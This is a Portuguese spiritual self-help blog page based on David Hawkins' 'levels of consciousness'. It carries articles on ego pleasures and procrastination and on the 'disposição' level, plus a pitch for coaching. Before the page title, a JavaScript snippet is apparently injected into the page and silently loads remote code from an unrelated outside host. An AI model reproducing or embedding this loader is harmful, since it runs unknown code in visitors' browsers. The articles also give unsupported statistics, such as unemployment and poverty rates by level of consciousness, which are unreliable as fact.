;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de procrastinação - David Hawkins Brasil
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David Hawkins

O motivo pelo qual você está travado

A vida toda anda, mas tem aquele assunto que parece que não sai do lugar. Por que será? O motivo é que tem um prazer oculto em algo que está dando errado naquele assunto, e seu ego não consegue desapagar disso. Sei que à primeira vista isso parece improvável porque ninguém gosta de sofrer. Mas se você observar, vai ver a verdade sobre isso. 

PEQUENOS PRAZERES

Você já viu alguém falar que as pessoas procrastinam porque é gostoso procrastinar quando estamos procrastinando? Enquanto ainda não vieram as consequências, é uma delícia “ficar de preguicinha” e deixar o que tem para fazer de lado. E a gula? Há um enorme prazer em “comer um docinho para adoçar a vida”. Enquanto estamos saboreando uma bela massa sem pensar no amanhã, é uma delícia. É por isso que é difícil não procrastinar ou não comer tanto. Não é nem comer até ficar satisfeito, é até estar tão cheio que não cabe mais nada!

O EGO GOSTA DE ESTAR CERTO E VENCER

Da mesma forma, dá uma sensação boa apontar o dedo na cara do outro e falar sobre os defeitos dele e o que ele não consegue.  Sabe aquele “joguei tudo na cara dele”? A gente sente a sensação de “estar se vingando” e isso dá um “saborzinho”, é um “gostinho” que o nosso ego sente em brincar de ser “deus – o punitivo”, o que é uma visão de Deus do nível de consciência do Medo. 

“Em última instância, o que os seres humanos são viciados é experienciar. É por isso que continuamos mudando de canal, ligando a música, jogando e comendo um pouquinho disso e daquilo. 

Por que estamos viciados em experienciar? Porque durante a evolução, foi através da experiência que o animal sobreviveu. A experiência mantém o ego vivo, porque ele não possui fonte interna de energia espiritual. Só tem energia animal. 

Consequentemente, de cada experiência, tem de extrair o “gostinho” que é a fonte da existência animal. Por exemplo, o ego extrai um “gostinho” ao derivar alegria do sofrimento dos outros, estar certo e vencer: “Meu, ele tomou o que merecia, aquele *****, e ele mereceu!”.” – Dr. David Hawkins, “The Map of Consciousness Explained”

O EGO GOSTA DE FINGIR QUE É “DEUS”

O ego sente prazer em ser a “ovelha negra”, aquele que faz tudo diferente do sistema, aquele que não precisa da aprovação de ninguém e pode fazer tudo o que quer.  Há um prazer em lembrar aquele dia em que tomou todas e fez todos os amigos rirem. 

Falando nisso, o ego também ama a posição de “progressista”, aquele que questiona o sistema para fazer melhor. Inocentemente, acha que a sua visão é melhor do que o Todo. Acha que se fosse deus, faria melhor. Ocultamente, o ego de todos nós acredita ser deus.

O EGO GOSTA ATÉ DE SER VÍTIMA – MOSTRAR AS “INJUSTIÇAS DE DEUS”

O ego gosta de colecionar injustiças. Gosta de contar sobre situações em que foi vítima para que os outros concordem que foi a situação ou a outra pessoa que foi realmente injusto com ele. O ego gosta da atenção que recebe em ser uma pobre vítima. Quer mudar o mundo a seu redor para se sentir mais confortável.

“O experienciador (ego) se diverte com a satisfação narcisista. Tenta disfarçar o “gostinho do ego” como “ressentimento justificado”, benevolência, liberdade de expressão, vitimização justa e assim por diante. Mas se fizermos um inventário destemido e honesto de nós mesmos, veremos que qualquer negatividade que nos incomoda é porque recebemos uma recompensa por isso. 

Você pode dizer: “Ninguém gostaria de sentir autopiedade”. Mas, na verdade, muitas pessoas gostam do martírio, de serem injustiçadas e de se sentirem desconfortáveis. Isto não será novidade para terapeutas, psiquiatras e assistentes sociais que ouvem os relatos das vítimas dia após dia. 

O mundo inteiro deveria mudar porque alguém se sente desconfortável do jeito que está? A egomania e o narcisismo disso são óbvios. “Isso me deixa desconfortável.” Os indivíduos narcisistas procuram mudar o mundo em vez de mudarem a si próprios. Se o nome de Deus sobre um tribunal lhe dá uma noite sem dormir, teremos que mudar a arquitetura histórica apenas para que você possa dormir melhor? 

A chave para transcender os níveis de consciência é que você esteja disposto a mudar a si mesmo, em vez de precisar mudar outras pessoas ou mudar a sociedade. Depois de mudar a si mesmo, você experienciará os outros de maneira diferente.” – Dr. David Hawkins, “The Map of Consciousness Explained”

SE É GOSTOSO FAZER ESSAS COISAS, POR QUE TRAVA A MINHA VIDA?

Se você procrastina ou come com gula como se não houvesse amanhã está trocando pequenos prazeres pela satisfação de conquistar seus sonhos e objetivos no longo prazo. Enquanto ao sentir prazer em fazer “coisas erradas”, acreditamos que a felicidade está em buscar prazer o tempo todo. Na verdade, essa busca desenfreada por prazer, só aumenta o nosso sofrimento no longo prazo.

Já quando apontamos os defeitos do outro, isso piora ao invés de ajudar. A pessoa não tem disponível a escolha de fazer melhor, porque não colocou essa intenção para ela mesma. Então, quando a gente fala “faz melhor!”  estamos exigindo que ela tenha uma visão do alto da montanha, mas ela está no vale. O caminho é olhar para si e despegar do prazer que é “conseguir mudar o outro”.

É sempre uma não aceitação do que é. Uma não aceitação que o outro é assim, uma não aceitação de autoridade e do sistema, o que costuma vir atrelado a um relacionamento conturbado com a figura paterna, uma não aceitação daquilo que não ocorreu como o ego queria, o que coloca a pessoa no papel de vítima.

“As pessoas perguntam: “Por que não consigo ir além disso? Eu me sinto preso.” A estagnação ocorre porque cada um dos níveis tem uma recompensa relacionada a atitudes arraigadas, que surgem da nossa natureza animal. Se não houvesse recompensa, ninguém ficaria lá. Para evoluir, você só precisa saber uma coisa: o que o impede é o “gostinho”, a recompensa e a satisfação que você obtém por estar onde está. Como se costuma dizer: “Vamos extrair tudo o que a gente conseguir de benefício”. Se você estiver disposto a abrir mão das recompensas que o ego obtém por estar onde está, a barreira se dissolve.” – Dr. David Hawkins, “The Map of Consciousness Explained”

COMO SAIR DESSE APEGO EM SENTIR O “GOSTINHO DO EGO”?

A chave para sair desse ciclo de se prender pelo “gostinho do ego” é compreender que estamos abrindo mão de migalhas de prazer em prol de Algo Maior, o que nos trará muito mais felicidade e nos aproximará do que realmente importa. A aceitação não é a apatia de não agir, tampouco é subserviência. É ser astuto para compreender os fatos e dar o nosso melhor diante disso. 

Além disso, a verdade sobre os pequenos prazeres é que trazem infelicidade no longo prazo. Eles fazem a gente depender disso para ficar “feliz” por poucos minutos e logo em seguida já estamos buscando a próxima coisa porque aquilo parou de contribuir em nos deixar feliz. Buscar a felicidade fora, nesses pequenos prazeres, é o caminho certo para o sofrimento. A verdadeira felicidade está dentro de nós. Está no serviço a Deus.

A Terra não é o céu, não é um reino celestial, é um reino purgatorial. É aqui que a gente vem para ter contato com as energias e emoções negativas e poder escolher o caminho do positivo. É aqui que o nosso livre arbítrio nos permite escolher o Amor de Deus. Deus é justiça, amor, paz e bondade infinitos e tudo é perfeito como é porque faz parte da sua criação. 

“Para transcender uma barreira, portanto, é útil declarar-se servo de Deus e dedicar-se ao trabalho espiritual em nome de Deus, o que coloca a intenção da pessoa de evoluir em um campo infinitamente poderoso de pedir a Graça para render os apegos, aversões e as recompensas do ego que mantém cada nível (de consciência) no (mesmo) lugar.” – Dr. David Hawkins, “The Map of Consciousness Explained”


NÃO PERCA NADA

Esse é o só o primeiro de um série de artigos sobre o “gostinho do ego”. Veja mais sobre isso na visão do próprio dr. Hawkins nesse artigo aqui com as melhores passagens sobre isso em seus livros.

Gloria in Excelsis Deo!

Leia direto da fonte

No livro “Poder vs. Força”, o dr. David Hawkins nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). 

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. 

No livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. 

Ainda que esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e a Pandora Treinamentos absorveu essa intenção, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português, visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

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Níveis de Consciência

A Disposição pode nos Levar a Resultados Inimagináveis – com base em Dr. David Hawkins

O início do construtivismo está na disposição. Esse estado de Ser nos guia para o sucesso e nos mantém lá.

É agradável estar ao lado de uma pessoa com disposição a maior parte do tempo.

São pessoas construtivas, animadas, pra “frentéx” e parece que nada as faz desviar do foco delas, persistindo até alcançarem os resultados.

Esse é o estado de consciência dos empresários de sucesso.

Aqui se inicia o construtivismo, o foco em realizar por si e pelo bem maior. As metas de médio e longo prazo prevalecem sobre o atendimento exacerbado dos prazeres de curto prazo.

Entende-se que o crescimento é formado por disciplina, harmonia e perseverança.

Como atua uma pessoa com disposição?

O foco da pessoa disposta está em gozar da jornada e não a fixação por alcançar o destino.

Sua filosofia é dar o seu melhor todos os dias e fazer um trabalho de excelência, permitindo-se: errar, falhar e aprender com seus deslizes sem ser negligente.

Pessoas dispostas estão a maior parte do tempo empregadas ou construindo seu próprio negócio.

Apenas 7% das pessoas deste nível de consciência ficam desempregadas e somente 1% delas são pobres.

Elas não têm frescura de começar de baixo, de fazer trabalhos que a vaidade da grande maioria acharia indigno e mesmo que em cargos de liderança, quando falta mão de obra para trabalhos simples:

  • como limpar o banheiro,
  • pintar uma parede,
  • fazer um café,

Essas pessoas são os primeiros a tomar a iniciativa e ainda inspiram os outros a ajudarem.

Exemplos de disposição e sucesso.

Grandes figuras empresariais as quais admiramos, assim como esportistas de sucesso, estão ou passaram por este nível de consciência no início de suas carreiras:

  • Steve Jobs,
  • Bill Gates,
  • Walt Disney,
  • Abílio Diniz,
  • Sílvio Santos,
  • Samuel Klein,
  • Luíza Helena Trajano,
  • Flávio Augusto,
  • Ayrton Senna,
  • Usain Bolt,
  • Michael Phelps,
  • Pelé,
  • entre tantos outros.

O mais interessante é que todos eles começaram suas carreiras “do nada”.

Eles acreditaram no potencial de suas ideias e de si mesmos, caíram inúmeras vezes, mas se levantaram em todas elas e seguiram em frente.

Alguns passaram por momentos de desespero, miséria, depressão, opressão, traição, mas nada os segurou de fazer aquilo que eles sentiram ser o correto a se fazer.

São verdadeiros heróis que não se abalam com qualquer eventualidade externa.

O que nos impede de sermos mais disposição?

Os principais fatores que nos atrapalham para nos conectarmos com esse estado de consciência são:

Medo, a insegurança de:

  • Perder o controle da situação,
  • Falhar nos afazeres,
  • Sair da zona de conforto,
  • Ter que lidar com situações adversas ou incômodas,
  • Alcançar o poder e não saber o que fazer com ele,
  • Frustrar as pessoas ao seu redor,
  • Se frustrar,
  • Delegar tarefas para outras pessoas.

Vaidade:

  • Achar que deve apenas fazer seu trabalho,
  • Acreditar que está certo de tudo,
  • Buscar apenas ganhos para si mesmo,
  • Enxergar a vida como um campo de batalha onde para um ganhar outro tem que perder,
  • Provar para os outros que está certo,
  • Achar que só você faz um bom trabalho.

Apatia: 

  • Indisposição para fazer o que é necessário,
  • Procrastinação de tarefas que visa como desagradável,
  • Preguiça de lidar com situações desconfortáveis ou começar projetos longos que irão dar trabalho.

Desejo:  

  • Ansiedade de alcançar as coisas rápido,
  • Ausência de perseverança e tolerância,
  • Sede por querer mais,
  • Não saber compartilhar os méritos,
  • Ganância e
  • Cobiça.

Culpa: 

  • Paralisar ou se irritar diante de adversidades,
  • Se iludir que tudo o que acontece de ruim tem um culpado,
  • Se ausentar das responsabilidades,
  • Resistir à realidade como ela se manifesta e acreditar que podia ter sido diferente,
  • Agarrar-se no estado de incompetência e acreditar que os erros o fadaram a não conseguir mais seguir em frente,
  • Acreditar que a culpa do seu insucesso está lá fora.

Estes cinco sentimentos principais, nos mantêm em um ciclo de escassez contínua e nos impede de visitar a abundância em qualquer área de nossas vidas, tornando-nos charretes desgovernadas que irão para o sentido que as condições externas nos jogarem.

Quando começamos a diminuir aos poucos, um passo de cada vez, a influência dessas emoções internas e assumimos nossa responsabilidade por todas as situações que atraímos e pelo potencial que podemos despertar em nós, passamos a tomar as rédeas de nossa vida e nos guiar para onde queremos chegar.

Como nos tornarmos mais dispostos?

Para invocarmos a disposição que existe latente dentro de cada um de nós, é necessário primeiro querer verdadeiramente.

Quando somos sinceros com nós mesmos, paramos de dar a desculpa de que não podemos ou não conseguimos e passamos para um estado de “eu consigo”, “eu posso”, “eu faço”.

Disposição é uma determinação interna de iniciar e seguir a jornada até que se chegue ao resultado ou tenha-se o vislumbre de algo melhor ou maior daquilo que tinha sido almejado no início.

Dicas para despertar a disposição.

Para despertarmos cada vez mais esse estado interno dentro de nós, algumas práticas podem ser realizadas em nosso dia a dia:

Físico: 

  • Buscar fazer algum exercício que goste rotineiramente,
  • Acordar mais cedo,
  • Cortar ou reduzir algum dos tipos de alimentos que desarmonizam nosso organismo como: industrializados, carnes, queijo ou açúcar/adoçante.

Prazeres: 

  • Aproveitar os momentos de lazer sem se preocupar com o que está acontecendo fora do aqui e agora,
  • Fazer um controle financeiro e cortar os excessos,
  • Buscar criar um gosto pelo que se está fazendo e não só pelo resultado a ser obtido.

Atividades: 

  • Equilibrar suas tarefas com momentos de descanso e regeneração,
  • Não se sobrecarregar,
  • Diminuir a vontade de controlar as pessoas ao seu redor,
  • Aprender a delegar funções,
  • Fazer planejamentos de médio e longo prazo.

Social: 

  • A vontade para contribuir e colaborar deve ser colocada em primeiro plano,
  • Também priorizar os aspectos de: harmonia, acordo, tolerância e paciência com o próximo.
  • Gerar empatia com as pessoas e entender seus contextos de vida pode ajudar bastante.

Expressão: 

  • Falar somente a verdade,
  • Ser sensível e bondoso com as palavras,
  • Evitar palavrões e palavras que podem ferir os valores de alguém,
  • Diminuir os preconceitos e
  • Buscar o aperfeiçoamento na sua forma de se comunicar e expressar suas opiniões para que o outro entenda e não se ofenda.

Compreensão: 

  • Diminuir seus julgamentos mentais sobre os outros,
  • Refletir antes de agir,
  • Diminuir os apegos a suas opiniões,
  • Deixar de acreditar que você sempre está certo,
  • Analisar mais os dados.

Fé: 

  • Manter uma intenção firme em mente sem se apegar ao resultado,
  • Acreditar em si mesmo,
  • Entender que as conquistas não são mérito exclusivo seu, pois sem o contexto nada teria sido possível
  • Observar as emoções negativas que vierem para te colocar para baixo e atravessá-las no meio, com disposição e alegria.

Pode parecer muita coisa, mas cada um desses itens é possível de ser alcançado, basta querer de verdade e perseverar.

O importante para agora é você observar qual dessas sete áreas está mais desequilibrada nesses aspectos e escolher uma das orientações e aplicar na prática como um autodesafio.

Dentro dos treinamentos de Alta Performance que realizamos na Pandora Treinamentos, o desenvolvimento da disposição é um dos principais focos, pois é ele que nos instiga a irmos atrás daquilo que nos faz bem e aprendermos cada vez mais a construirmos para nós e para os outros.

Então, se você sentir que isso faz sentido para você e quiser um auxílio neste caminho, fique à vontade em agendar uma sessão online gratuita, para conhecer o Processo de Alta Performance e desfrutar dos benefícios e resultados que você mesmo irá traçar e se dispor a alcançar.

Gratidão e boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual